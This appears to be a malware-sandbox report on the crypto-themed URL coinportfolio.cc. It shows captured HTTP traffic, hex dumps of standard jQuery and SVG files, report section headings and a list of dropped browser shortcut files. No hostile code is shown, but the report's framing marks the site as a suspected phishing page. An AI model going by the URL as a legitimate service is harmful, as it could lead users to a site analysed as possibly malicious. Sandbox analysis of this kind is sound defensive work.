2024-08-09 17:11:51 UTC	1378	IN	Data Raw: 65 2e 64 69 73 61 62 6c 65 64 3d 3d 3d 61 3a 62 2e 64 69 73 61 62 6c 65 64 3d 3d 3d 61 3a 62 2e 69 73 44 69 73 61 62 6c 65 64 3d 3d 3d 61 7c 7c 62 2e 69 73 44 69 73 61 62 6c 65 64 21 3d 3d 21 61 26 26 65 61 28 62 29 3d 3d 3d 61 3a 62 2e 64 69 73 61 62 6c 65 64 3d 3d 3d 61 3a 22 6c 61 62 65 6c 22 69 6e 20 62 26 26 62 2e 64 69 73 61 62 6c 65 64 3d 3d 3d 61 7d 7d 66 75 6e 63 74 69 6f 6e 20 70 61 28 61 29 7b 72 65 74 75 72 6e 20 69 61 28 66 75 6e 63 74 69 6f 6e 28 62 29 7b 72 65 74 75 72 6e 20 62 3d 2b 62 2c 69 61 28 66 75 6e 63 74 69 6f 6e 28 63 2c 64 29 7b 76 61 72 20 65 2c 66 3d 61 28 5b 5d 2c 63 2e 6c 65 6e 67 74 68 2c 62 29 2c 67 3d 66 2e 6c 65 6e 67 74 68 3b 77 68 69 6c 65 28 67 2d 2d 29 63 5b 65 3d 66 5b 67 5d 5d 26 26 28 63 5b 65 5d 3d 21 28 64 5b 65 Data Ascii: e.disabled===a:b.disabled===a:b.isDisabled===a\|\|b.isDisabled!==!a&&ea(b)===a:b.disabled===a:"label"in b&&b.disabled===a}}function pa(a){return ia(function(b){return b=+b,ia(function(c,d){var e,f=a([],c.length,b),g=f.length;while(g--)c[e=f[g]]&&(c[e]=!(d[e
2024-08-09 17:11:51 UTC	1378	IN	Data Raw: 6e 20 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 63 3d 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 61 2e 67 65 74 41 74 74 72 69 62 75 74 65 4e 6f 64 65 26 26 61 2e 67 65 74 41 74 74 72 69 62 75 74 65 4e 6f 64 65 28 22 69 64 22 29 3b 72 65 74 75 72 6e 20 63 26 26 63 2e 76 61 6c 75 65 3d 3d 3d 62 7d 7d 2c 64 2e 66 69 6e 64 2e 49 44 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 69 66 28 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 62 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 26 26 70 29 7b 76 61 72 20 63 2c 64 2c 65 2c 66 3d 62 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 61 29 3b 69 66 28 66 29 7b 69 66 28 63 3d 66 2e 67 65 74 41 74 74 72 69 62 75 74 65 4e 6f 64 65 28 22 69 64 22 29 2c 63 26 26 63 2e 76 61 6c 75 65 Data Ascii: n function(a){var c="undefined"!=typeof a.getAttributeNode&&a.getAttributeNode("id");return c&&c.value===b}},d.find.ID=function(a,b){if("undefined"!=typeof b.getElementById&&p){var c,d,e,f=b.getElementById(a);if(f){if(c=f.getAttributeNode("id"),c&&c.value
2024-08-09 17:11:51 UTC	1378	IN	Data Raw: 62 6c 65 64 3d 27 64 69 73 61 62 6c 65 64 27 3e 3c 2f 61 3e 3c 73 65 6c 65 63 74 20 64 69 73 61 62 6c 65 64 3d 27 64 69 73 61 62 6c 65 64 27 3e 3c 6f 70 74 69 6f 6e 2f 3e 3c 2f 73 65 6c 65 63 74 3e 22 3b 76 61 72 20 62 3d 6e 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 69 6e 70 75 74 22 29 3b 62 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 74 79 70 65 22 2c 22 68 69 64 64 65 6e 22 29 2c 61 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 62 29 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 6e 61 6d 65 22 2c 22 44 22 29 2c 61 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 5b 6e 61 6d 65 3d 64 5d 22 29 2e 6c 65 6e 67 74 68 26 26 71 2e 70 75 73 68 28 22 6e 61 6d 65 22 2b 4b 2b 22 2a 5b 2a 5e 24 7c 21 7e 5d 3f 3d 22 29 2c 32 21 3d 3d 61 2e 71 75 65 72 79 53 Data Ascii: bled='disabled'></a><select disabled='disabled'><option/></select>";var b=n.createElement("input");b.setAttribute("type","hidden"),a.appendChild(b).setAttribute("name","D"),a.querySelectorAll("[name=d]").length&&q.push("name"+K+"[^$\|!~]?="),2!==a.queryS
2024-08-09 17:11:51 UTC	1378	IN	Data Raw: 44 6f 63 75 6d 65 6e 74 3d 3d 3d 76 26 26 74 28 76 2c 62 29 3f 31 3a 6b 3f 49 28 6b 2c 61 29 2d 49 28 6b 2c 62 29 3a 30 3a 34 26 64 3f 2d 31 3a 31 29 7d 3a 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 69 66 28 61 3d 3d 3d 62 29 72 65 74 75 72 6e 20 6c 3d 21 30 2c 30 3b 76 61 72 20 63 2c 64 3d 30 2c 65 3d 61 2e 70 61 72 65 6e 74 4e 6f 64 65 2c 66 3d 62 2e 70 61 72 65 6e 74 4e 6f 64 65 2c 67 3d 5b 61 5d 2c 68 3d 5b 62 5d 3b 69 66 28 21 65 7c 7c 21 66 29 72 65 74 75 72 6e 20 61 3d 3d 3d 6e 3f 2d 31 3a 62 3d 3d 3d 6e 3f 31 3a 65 3f 2d 31 3a 66 3f 31 3a 6b 3f 49 28 6b 2c 61 29 2d 49 28 6b 2c 62 29 3a 30 3b 69 66 28 65 3d 3d 3d 66 29 72 65 74 75 72 6e 20 6c 61 28 61 2c 62 29 3b 63 3d 61 3b 77 68 69 6c 65 28 63 3d 63 2e 70 61 72 65 6e 74 4e 6f 64 65 29 67 2e 75 6e Data Ascii: Document===v&&t(v,b)?1:k?I(k,a)-I(k,b):0:4&d?-1:1)}:function(a,b){if(a===b)return l=!0,0;var c,d=0,e=a.parentNode,f=b.parentNode,g=[a],h=[b];if(!e\|\|!f)return a===n?-1:b===n?1:e?-1:f?1:k?I(k,a)-I(k,b):0;if(e===f)return la(a,b);c=a;while(c=c.parentNode)g.un

Timestamp	Bytes transferred	Direction	Data
2024-08-09 17:11:51 UTC	622	OUT	GET /jquery-3.6.0.min.js HTTP/1.1 Host: code.jquery.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://coinportfolio.cc/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-08-09 17:11:51 UTC	613	IN	HTTP/1.1 200 OK Connection: close Content-Length: 89501 Server: nginx Content-Type: application/javascript; charset=utf-8 Last-Modified: Fri, 18 Oct 1991 12:00:00 GMT ETag: "28feccc0-15d9d" Cache-Control: public, max-age=31536000, stale-while-revalidate=604800 Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Date: Fri, 09 Aug 2024 17:11:51 GMT Age: 1239068 X-Served-By: cache-lga21931-LGA, cache-nyc-kteb1890086-NYC X-Cache: HIT, HIT X-Cache-Hits: 55, 247 X-Timer: S1723223512.898718,VS0,VE0 Vary: Accept-Encoding
2024-08-09 17:11:51 UTC	1378	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 36 2e 30 20 7c 20 28 63 29 20 4f 70 65 6e 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 2e 64 6f 63 75 6d 65 6e 74 3f 74 28 65 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 21 65 2e 64 6f 63 75 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 6a 51 75 Data Ascii: /! jQuery v3.6.0 \| (c) OpenJS Foundation and other contributors \| jquery.org/license /!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQu
2024-08-09 17:11:51 UTC	1378	IN	Data Raw: 7d 2c 67 65 74 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 6e 75 6c 6c 3d 3d 65 3f 73 2e 63 61 6c 6c 28 74 68 69 73 29 3a 65 3c 30 3f 74 68 69 73 5b 65 2b 74 68 69 73 2e 6c 65 6e 67 74 68 5d 3a 74 68 69 73 5b 65 5d 7d 2c 70 75 73 68 53 74 61 63 6b 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 53 2e 6d 65 72 67 65 28 74 68 69 73 2e 63 6f 6e 73 74 72 75 63 74 6f 72 28 29 2c 65 29 3b 72 65 74 75 72 6e 20 74 2e 70 72 65 76 4f 62 6a 65 63 74 3d 74 68 69 73 2c 74 7d 2c 65 61 63 68 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 53 2e 65 61 63 68 28 74 68 69 73 2c 65 29 7d 2c 6d 61 70 3a 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 70 75 73 68 53 74 61 63 6b 28 53 2e 6d 61 70 28 74 68 69 73 2c 66 Data Ascii: },get:function(e){return null==e?s.call(this):e<0?this[e+this.length]:this[e]},pushStack:function(e){var t=S.merge(this.constructor(),e);return t.prevObject=this,t},each:function(e){return S.each(this,e)},map:function(n){return this.pushStack(S.map(this,f
2024-08-09 17:11:51 UTC	1378	IN	Data Raw: 6f 6e 28 65 29 7b 76 61 72 20 74 2c 6e 3b 72 65 74 75 72 6e 21 28 21 65 7c 7c 22 5b 6f 62 6a 65 63 74 20 4f 62 6a 65 63 74 5d 22 21 3d 3d 6f 2e 63 61 6c 6c 28 65 29 29 26 26 28 21 28 74 3d 72 28 65 29 29 7c 7c 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 28 6e 3d 76 2e 63 61 6c 6c 28 74 2c 22 63 6f 6e 73 74 72 75 63 74 6f 72 22 29 26 26 74 2e 63 6f 6e 73 74 72 75 63 74 6f 72 29 26 26 61 2e 63 61 6c 6c 28 6e 29 3d 3d 3d 6c 29 7d 2c 69 73 45 6d 70 74 79 4f 62 6a 65 63 74 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3b 66 6f 72 28 74 20 69 6e 20 65 29 72 65 74 75 72 6e 21 31 3b 72 65 74 75 72 6e 21 30 7d 2c 67 6c 6f 62 61 6c 45 76 61 6c 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 62 28 65 2c 7b 6e 6f 6e 63 65 3a 74 26 26 74 2e 6e 6f Data Ascii: on(e){var t,n;return!(!e\|\|"[object Object]"!==o.call(e))&&(!(t=r(e))\|\|"function"==typeof(n=v.call(t,"constructor")&&t.constructor)&&a.call(n)===l)},isEmptyObject:function(e){var t;for(t in e)return!1;return!0},globalEval:function(e,t,n){b(e,{nonce:t&&t.no
2024-08-09 17:11:51 UTC	1378	IN	Data Raw: 5d 2c 71 3d 74 2e 70 6f 70 2c 4c 3d 74 2e 70 75 73 68 2c 48 3d 74 2e 70 75 73 68 2c 4f 3d 74 2e 73 6c 69 63 65 2c 50 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 66 6f 72 28 76 61 72 20 6e 3d 30 2c 72 3d 65 2e 6c 65 6e 67 74 68 3b 6e 3c 72 3b 6e 2b 2b 29 69 66 28 65 5b 6e 5d 3d 3d 3d 74 29 72 65 74 75 72 6e 20 6e 3b 72 65 74 75 72 6e 2d 31 7d 2c 52 3d 22 63 68 65 63 6b 65 64 7c 73 65 6c 65 63 74 65 64 7c 61 73 79 6e 63 7c 61 75 74 6f 66 6f 63 75 73 7c 61 75 74 6f 70 6c 61 79 7c 63 6f 6e 74 72 6f 6c 73 7c 64 65 66 65 72 7c 64 69 73 61 62 6c 65 64 7c 68 69 64 64 65 6e 7c 69 73 6d 61 70 7c 6c 6f 6f 70 7c 6d 75 6c 74 69 70 6c 65 7c 6f 70 65 6e 7c 72 65 61 64 6f 6e 6c 79 7c 72 65 71 75 69 72 65 64 7c 73 63 6f 70 65 64 22 2c 4d 3d 22 5b 5c 5c 78 32 30 5c 5c 74 Data Ascii: ],q=t.pop,L=t.push,H=t.push,O=t.slice,P=function(e,t){for(var n=0,r=e.length;n<r;n++)if(e[n]===t)return n;return-1},R="checked\|selected\|async\|autofocus\|autoplay\|controls\|defer\|disabled\|hidden\|ismap\|loop\|multiple\|open\|readonly\|required\|scoped",M="[\\x20\\t
2024-08-09 17:11:51 UTC	1378	IN	Data Raw: 2c 65 65 3d 2f 5b 2b 7e 5d 2f 2c 74 65 3d 6e 65 77 20 52 65 67 45 78 70 28 22 5c 5c 5c 5c 5b 5c 5c 64 61 2d 66 41 2d 46 5d 7b 31 2c 36 7d 22 2b 4d 2b 22 3f 7c 5c 5c 5c 5c 28 5b 5e 5c 5c 72 5c 5c 6e 5c 5c 66 5d 29 22 2c 22 67 22 29 2c 6e 65 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 6e 3d 22 30 78 22 2b 65 2e 73 6c 69 63 65 28 31 29 2d 36 35 35 33 36 3b 72 65 74 75 72 6e 20 74 7c 7c 28 6e 3c 30 3f 53 74 72 69 6e 67 2e 66 72 6f 6d 43 68 61 72 43 6f 64 65 28 6e 2b 36 35 35 33 36 29 3a 53 74 72 69 6e 67 2e 66 72 6f 6d 43 68 61 72 43 6f 64 65 28 6e 3e 3e 31 30 7c 35 35 32 39 36 2c 31 30 32 33 26 6e 7c 35 36 33 32 30 29 29 7d 2c 72 65 3d 2f 28 5b 5c 30 2d 5c 78 31 66 5c 78 37 66 5d 7c 5e 2d 3f 5c 64 29 7c 5e 2d 24 7c 5b 5e 5c 30 2d 5c 78 31 66 5c Data Ascii: ,ee=/[+~]/,te=new RegExp("\\\\[\\da-fA-F]{1,6}"+M+"?\|\\\\([^\\r\\n\\f])","g"),ne=function(e,t){var n="0x"+e.slice(1)-65536;return t\|\|(n<0?String.fromCharCode(n+65536):String.fromCharCode(n>>10\|55296,1023&n\|56320))},re=/([\0-\x1f\x7f]\|^-?\d)\|^-$\|[^\0-\x1f\
2024-08-09 17:11:51 UTC	1378	IN	Data Raw: 29 29 7b 28 66 3d 65 65 2e 74 65 73 74 28 74 29 26 26 79 65 28 65 2e 70 61 72 65 6e 74 4e 6f 64 65 29 7c 7c 65 29 3d 3d 3d 65 26 26 64 2e 73 63 6f 70 65 7c 7c 28 28 73 3d 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 69 64 22 29 29 3f 73 3d 73 2e 72 65 70 6c 61 63 65 28 72 65 2c 69 65 29 3a 65 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 69 64 22 2c 73 3d 53 29 29 2c 6f 3d 28 6c 3d 68 28 74 29 29 2e 6c 65 6e 67 74 68 3b 77 68 69 6c 65 28 6f 2d 2d 29 6c 5b 6f 5d 3d 28 73 3f 22 23 22 2b 73 3a 22 3a 73 63 6f 70 65 22 29 2b 22 20 22 2b 78 65 28 6c 5b 6f 5d 29 3b 63 3d 6c 2e 6a 6f 69 6e 28 22 2c 22 29 7d 74 72 79 7b 72 65 74 75 72 6e 20 48 2e 61 70 70 6c 79 28 6e 2c 66 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 63 29 29 2c 6e 7d 63 61 74 63 68 28 Data Ascii: )){(f=ee.test(t)&&ye(e.parentNode)\|\|e)===e&&d.scope\|\|((s=e.getAttribute("id"))?s=s.replace(re,ie):e.setAttribute("id",s=S)),o=(l=h(t)).length;while(o--)l[o]=(s?"#"+s:":scope")+" "+xe(l[o]);c=l.join(",")}try{return H.apply(n,f.querySelectorAll(c)),n}catch(
2024-08-09 17:11:51 UTC	1378	IN	Data Raw: 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 6e 2c 72 3d 61 28 5b 5d 2c 65 2e 6c 65 6e 67 74 68 2c 6f 29 2c 69 3d 72 2e 6c 65 6e 67 74 68 3b 77 68 69 6c 65 28 69 2d 2d 29 65 5b 6e 3d 72 5b 69 5d 5d 26 26 28 65 5b 6e 5d 3d 21 28 74 5b 6e 5d 3d 65 5b 6e 5d 29 29 7d 29 7d 29 7d 66 75 6e 63 74 69 6f 6e 20 79 65 28 65 29 7b 72 65 74 75 72 6e 20 65 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 65 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 26 26 65 7d 66 6f 72 28 65 20 69 6e 20 64 3d 73 65 2e 73 75 70 70 6f 72 74 3d 7b 7d 2c 69 3d 73 65 2e 69 73 58 4d 4c 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 65 26 26 65 2e 6e 61 6d 65 73 70 61 63 65 55 52 49 2c 6e 3d 65 26 26 28 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 7c Data Ascii: ion(e,t){var n,r=a([],e.length,o),i=r.length;while(i--)e[n=r[i]]&&(e[n]=!(t[n]=e[n]))})})}function ye(e){return e&&"undefined"!=typeof e.getElementsByTagName&&e}for(e in d=se.support={},i=se.isXML=function(e){var t=e&&e.namespaceURI,n=e&&(e.ownerDocument\|
2024-08-09 17:11:51 UTC	1378	IN	Data Raw: 74 69 6f 6e 28 65 29 7b 76 61 72 20 6e 3d 65 2e 72 65 70 6c 61 63 65 28 74 65 2c 6e 65 29 3b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 4e 6f 64 65 26 26 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 4e 6f 64 65 28 22 69 64 22 29 3b 72 65 74 75 72 6e 20 74 26 26 74 2e 76 61 6c 75 65 3d 3d 3d 6e 7d 7d 2c 62 2e 66 69 6e 64 2e 49 44 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 69 66 28 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 26 26 45 29 7b 76 61 72 20 6e 2c 72 2c 69 2c 6f 3d 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 65 29 3b 69 66 28 6f 29 7b 69 66 28 28 Data Ascii: tion(e){var n=e.replace(te,ne);return function(e){var t="undefined"!=typeof e.getAttributeNode&&e.getAttributeNode("id");return t&&t.value===n}},b.find.ID=function(e,t){if("undefined"!=typeof t.getElementById&&E){var n,r,i,o=t.getElementById(e);if(o){if((
2024-08-09 17:11:51 UTC	1378	IN	Data Raw: 5b 22 2b 4d 2b 22 2a 6e 61 6d 65 22 2b 4d 2b 22 2a 3d 22 2b 4d 2b 22 2a 28 3f 3a 27 27 7c 5c 22 5c 22 29 22 29 2c 65 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 3a 63 68 65 63 6b 65 64 22 29 2e 6c 65 6e 67 74 68 7c 7c 76 2e 70 75 73 68 28 22 3a 63 68 65 63 6b 65 64 22 29 2c 65 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 61 23 22 2b 53 2b 22 2b 2a 22 29 2e 6c 65 6e 67 74 68 7c 7c 76 2e 70 75 73 68 28 22 2e 23 2e 2b 5b 2b 7e 5d 22 29 2c 65 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 5c 5c 5c 66 22 29 2c 76 2e 70 75 73 68 28 22 5b 5c 5c 72 5c 5c 6e 5c 5c 66 5d 22 29 7d 29 2c 63 65 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 69 6e 6e 65 72 48 54 4d 4c 3d 22 3c 61 20 68 72 65 66 3d 27 27 20 64 69 73 61 62 6c 65 64 3d 27 Data Ascii: ["+M+"name"+M+"="+M+"(?:''\|\"\")"),e.querySelectorAll(":checked").length\|\|v.push(":checked"),e.querySelectorAll("a#"+S+"+").length\|\|v.push(".#.+[+~]"),e.querySelectorAll("\\\f"),v.push("[\\r\\n\\f]")}),ce(function(e){e.innerHTML="<a href='' disabled='
2024-08-09 17:11:51 UTC	1378	IN	Data Raw: 65 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 2d 21 74 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 3b 72 65 74 75 72 6e 20 6e 7c 7c 28 31 26 28 6e 3d 28 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 7c 7c 65 29 3d 3d 28 74 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 7c 7c 74 29 3f 65 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 28 74 29 3a 31 29 7c 7c 21 64 2e 73 6f 72 74 44 65 74 61 63 68 65 64 26 26 74 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 28 65 29 3d 3d 3d 6e 3f 65 3d 3d 43 7c 7c 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 3d 3d 70 26 26 79 28 70 2c 65 29 3f 2d 31 3a 74 3d 3d 43 7c 7c 74 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 3d 3d 70 Data Ascii: e.compareDocumentPosition-!t.compareDocumentPosition;return n\|\|(1&(n=(e.ownerDocument\|\|e)==(t.ownerDocument\|\|t)?e.compareDocumentPosition(t):1)\|\|!d.sortDetached&&t.compareDocumentPosition(e)===n?e==C\|\|e.ownerDocument==p&&y(p,e)?-1:t==C\|\|t.ownerDocument==p

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report https://coinportfolio.cc/2feb3e56b/

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Dropped Files

HTML

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Phishing

Compliance

Networking

System Summary

Boot Survival

Malware Analysis System Evasion

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

LLM Input / Output

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Chrome Cache Entry: 351

Chrome Cache Entry: 352

Chrome Cache Entry: 353

Chrome Cache Entry: 354

Chrome Cache Entry: 355

Chrome Cache Entry: 356

Chrome Cache Entry: 357

Chrome Cache Entry: 359

Chrome Cache Entry: 360

Chrome Cache Entry: 361

Chrome Cache Entry: 362

Chrome Cache Entry: 363

Chrome Cache Entry: 364

Chrome Cache Entry: 365

Chrome Cache Entry: 366

Chrome Cache Entry: 367

Chrome Cache Entry: 368

Windows Analysis Report
https://coinportfolio.cc/2feb3e56b/

Timestamp	Bytes transferred	Direction	Data
2024-08-09 17:11:53 UTC	621	OUT	GET /2feb3e56b/4901eab9003922483088.svg HTTP/1.1 Host: coinportfolio.cc Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://coinportfolio.cc/2feb3e56b/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-08-09 17:11:53 UTC	764	IN	HTTP/1.1 200 OK Date: Fri, 09 Aug 2024 17:11:53 GMT Content-Type: image/svg+xml Transfer-Encoding: chunked Connection: close cache-control: public, max-age=604800 expires: Thu, 15 Aug 2024 11:06:10 GMT last-modified: Thu, 08 Aug 2024 11:05:28 GMT vary: Accept-Encoding,User-Agent x-turbo-charged-by: LiteSpeed CF-Cache-Status: HIT Age: 108343 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=DpjN6CFTuqnDCnp%2FYGQ48Aoen4Kczm%2Bso9JGYEPJMyO%2B5WMgYMnwqLt1LM6%2FkpKKLPS%2BuzO3VAFMHLXjLsns7nX58TSciwdoFmHI5azi1dUhFGV6ItJNgQBOICbZd8rxukee"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8b095e300e9472b7-EWR alt-svc: h3=":443"; ma=86400
2024-08-09 17:11:53 UTC	397	IN	Data Raw: 31 38 36 0d 0a 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 78 6d 6c 3a 73 70 61 63 65 3d 22 70 72 65 73 65 72 76 65 22 20 73 74 79 6c 65 3d 22 65 6e 61 62 6c 65 2d 62 61 63 6b 67 72 6f 75 6e 64 3a 6e 65 77 20 2d 35 39 38 2e 35 20 39 37 31 2e 35 20 35 30 20 35 30 22 20 76 69 65 77 42 6f 78 3d 22 2d 35 39 38 2e 35 20 39 37 31 2e 35 20 35 30 20 35 30 22 3e 3c 63 69 72 63 6c 65 20 63 78 3d 22 2d 35 37 33 2e 35 22 20 63 79 3d 22 39 39 36 2e 35 22 20 72 3d 22 32 35 22 20 73 74 79 6c 65 3d 22 66 69 6c 6c 3a 23 64 35 32 62 31 65 22 2f 3e 3c 70 61 74 68 20 64 3d 22 4d 2d 35 37 39 2e 31 20 31 30 30 35 2e 37 63 2d 32 2e 38 2d 32 2d 35 2e 36 2d 34 2e 32 2d 38 2e 32 2d 36 2e 36 2d 31 20 32 2e Data Ascii: 186<svg xmlns="http://www.w3.org/2000/svg" xml:space="preserve" style="enable-background:new -598.5 971.5 50 50" viewBox="-598.5 971.5 50 50"><circle cx="-573.5" cy="996.5" r="25" style="fill:#d52b1e"/><path d="M-579.1 1005.7c-2.8-2-5.6-4.2-8.2-6.6-1 2.
2024-08-09 17:11:53 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Timestamp	Bytes transferred	Direction	Data
2024-08-09 17:11:53 UTC	621	OUT	GET /2feb3e56b/e28878c6df2cfc0e37b4.svg HTTP/1.1 Host: coinportfolio.cc Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://coinportfolio.cc/2feb3e56b/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
